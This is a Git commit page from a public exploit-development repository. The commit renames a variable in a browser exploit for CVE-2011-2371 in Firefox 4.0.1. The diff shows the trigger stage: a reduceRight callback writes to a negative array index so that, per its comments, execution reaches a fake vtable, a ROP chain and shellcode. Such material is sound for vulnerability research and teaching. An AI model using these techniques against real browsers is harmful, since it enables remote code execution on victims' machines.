admin/VoidSec-Exploit-Development
1
0
Fork 0
mirror of https://github.com/VoidSec/Exploit-Development synced 2026-06-08 12:50:18 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update Firefox_v.4.0.1-CVE-2011-2371_exploit.html

Browse Source
This commit is contained in:
Paolo 'VoidSec' Stagno
2022-07-20 21:57:46 +02:00
parent a05cccff10
commit e8d279e950
1 changed files with 2 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
windows/x86/remote/Firefox_v.4.0.1-CVE-2011-2371/Firefox_v.4.0.1-CVE-2011-2371_exploit.html
+2 -2
View File
@@ -234,12 +234,12 @@
console.log("[>] Triggering the reduceRight method on array1 to execute code");
alert("Press 'OK' to pop calc");
array1.length = 0x9FFFFFFF + 1; // offset used to "reach" the fake JavaScript object
var leak_func = function func(prev, current, index, array) {
var trigger = function func(prev, current, index, array) {
current[-245] = 1; // trigger the setElem function; will go to the fake vtable, transfer code execution to the setElem ptr which in turn will execute the stack to heap gadget; then the execution flow will proceed with the ROP chain and the shellcode execution
throw "halt"; // used to stop the SpiderMonkey engine to run "forever" as we have a negative array length
}
try {
array1.reduceRight(leak_func, 1, 2, 3);
array1.reduceRight(trigger, 1, 2, 3);
} catch (e) {
}
</script>